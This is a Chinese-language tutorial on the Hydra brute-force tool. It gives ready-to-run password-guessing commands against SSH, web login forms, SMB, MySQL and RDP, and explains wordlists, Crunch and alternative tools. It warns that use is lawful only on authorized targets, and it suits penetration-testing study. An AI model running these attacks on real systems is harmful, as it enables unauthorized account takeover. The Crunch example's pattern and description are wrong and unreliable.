Hydra 网络服务暴力破解工具用法
Hydra 是什么
Hydra 是 "very fast network logon cracker"(极速网络登录破解器),支持超过 50 种服务协议的暴力破解,包括 SSH、FTP、Telnet、HTTP(S)、SMB、RDP、MySQL、PostgreSQL、Redis、MongoDB 等。
基本用法
# 语法:hydra [选项] <目标> <协议> <参数>
hydra -l admin -P wordlist.txt 192.168.1.100 ssh
-l admin:指定单个用户名-L usernames.txt:指定用户名字典-P wordlist.txt:指定密码字典-t 4:并发任务数(默认 16,太大会把目标服务打挂)-V:详细模式,显示每次尝试-o result.txt:保存结果到文件
常用协议示例
SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh -t 4
注意:SSH 爆破很慢(每次尝试要建立完整 TCP 连接 + SSH 握手),而且现代 SSH 默认禁 root 登录。目标如果配置了 fail2ban,几次失败就会被封 IP。
HTTP POST 登录表单
hydra -l admin -P wordlist.txt 192.168.1.100 http-post-form "/login.php:user=^USER^&pass=^PASS^:Login failed"
^USER^和^PASS^是 Hydra 的占位符- 最后一个参数是"失败标志"——Hydra 用它判断一次尝试是否失败(没找到就是成功)
SMB(Windows 共享)
hydra -l administrator -P wordlist.txt 192.168.1.100 smb
MySQL
hydra -l root -P wordlist.txt 192.168.1.100 mysql
RDP(Windows 远程桌面)
hydra -l admin -P wordlist.txt 192.168.1.100 rdp
字典选择
Kali 自带的常用字典:
| 路径 | 内容 |
|---|---|
/usr/share/wordlists/rockyou.txt.gz | 1434 万个密码(解压:gzip -d rockyou.txt.gz) |
/usr/share/wordlists/dirb/common.txt | 4600 条通用密码/目录 |
/usr/share/wordlists/metasploit/ | Metasploit 自带的各种服务默认密码列表 |
Crunch 可以生成自定义字典:
# 生成 6-8 位密码,包含字母数字
crunch 6 8 -t @@@@ -o custom.txt
安全与法律红线
Hydra 是强攻击性工具,在目标上运行时:
- 目标的 IPS/IDS、WAF 都会记录并标记你的 IP
- 很多服务有内置的速率限制和账户锁定机制
- 务必只在你已获授权的目标上使用,未经授权在生产环境跑 Hydra 属于违法行为
类似工具
| 工具 | 特点 |
|---|---|
| Medusa | Hydra 的替代方案,速度略慢但支持更多模块 |
| Patator | 多协议暴力破解框架,模块化设计 |
| Crowbar | 专注于 SSH/VPN/OpenVPN 爆破,分布式模式 |
| wfuzz | 专注于 Web 应用(参数、目录、子域 fuzzing) |